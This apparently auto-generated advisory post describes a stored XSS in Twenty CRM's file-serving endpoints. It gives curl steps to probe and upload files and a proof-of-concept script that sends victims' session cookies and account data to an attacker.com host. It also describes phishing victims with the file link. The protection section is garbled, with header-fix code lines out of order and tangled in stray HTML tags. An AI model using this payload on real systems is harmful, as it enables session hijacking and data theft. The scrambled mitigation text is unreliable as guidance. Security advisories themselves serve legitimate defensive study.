Listen to this Post
The vulnerability exists in Twenty CRM versions 1.18.0 and earlier due to insecure file serving endpoints (/files/ and /file/:fileFolder/:id). When a user uploads a file, the server uses `fileStream.pipe(res)` to send the file back without setting any Content-Type, Content-Disposition, or `X-Content-Type-Options` headers. Because no `Content-Type` is defined, web browsers fall back to sniffing the MIME type – an HTML file containing JavaScript will be interpreted as text/html. The missing `Content-Disposition: attachment` header means the browser renders the file inline instead of downloading it. An authenticated attacker can upload a malicious HTML file (e.g., containing a script to steal session cookies) through any file upload feature in the CRM. When a victim (another user or administrator) accesses the uploaded file via its direct URL, the browser executes the JavaScript within the security context of the Twenty CRM domain. This allows the attacker to bypass Same-Origin Policy restrictions, read sensitive data from the page, perform authenticated requests on behalf of the victim, and hijack the session. Since the file is stored on the server, every subsequent visit to that URL triggers the payload – making it a persistent (stored) XSS. The attack requires low privileges (any authenticated user can upload files) and no user interaction beyond clicking a link (or even just loading an image if the file is embedded). The absence of `X-Content-Type-Options: nosniff` allows MIME sniffing, while missing `Content-Type` leaves the interpretation to the browser. This flaw effectively turns the file upload feature into a remote code execution vector against the CRM’s own users.
dailycve form:
Platform: Twenty CRM
Version: <=1.18.0
Vulnerability: Stored XSS
Severity: Critical
date: 2026-05-26
Prediction: Mid June 2026
What Undercode Say:
Analytics
Identify vulnerable endpoints curl -I https://target-crm.com/files/uploaded-file.html Check missing headers (no Content-Type, Content-Disposition) Upload a test HTML file via authenticated session curl -X POST https://target-crm.com/api/files/upload \ -H "Authorization: Bearer <token>" \ -F "[email protected]" --proxy http://127.0.0.1:8080 poc.html content: <script>fetch('/api/users/me').then(r=>r.json()).then(data=>fetch('https://attacker.com/steal?c='+document.cookie+'&data='+JSON.stringify(data)))</script> Simulate victim access curl https://target-crm.com/files/poc.html
Exploit:
Authenticated attacker uploads HTML file via /files/upload. The server stores it. Attacker sends the file URL (e.g., https://crm.example.com/files/malicious.html`) to a victim via email or message. Victim clicks link – browser renders the HTML, executes JavaScript, which exfiltrates session cookies and performs state-changing actions as the victim.res.setHeader(‘Content-Type’, ‘application/octet-stream’);
<h2 style="color: blue;">Protection from this CVE</h2>
1. Upgrade to patched version (when available) or apply vendor fix.
<h2 style="color: blue;">2. For `express.static` or custom endpoints, set headers:</h2>
<h2 style="color: blue;"></h2>res.setHeader(‘Content-Disposition’, ‘attachment’);
<h2 style="color: blue;"></h2>res.setHeader(‘X-Content-Type-Options’, ‘nosniff’);
<h2 style="color: blue;"></h2>files.cdn.example.com`) without session cookies.
3. Validate file extensions and content-type on upload; reject HTML/JS files.
4. Serve user-uploaded files from a separate domain (e.g.,
Impact:
Session hijacking, account takeover, data theft (CRM records, emails, contacts), arbitrary actions performed as victim user (create, modify, delete data), full compromise of CRM tenant.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]

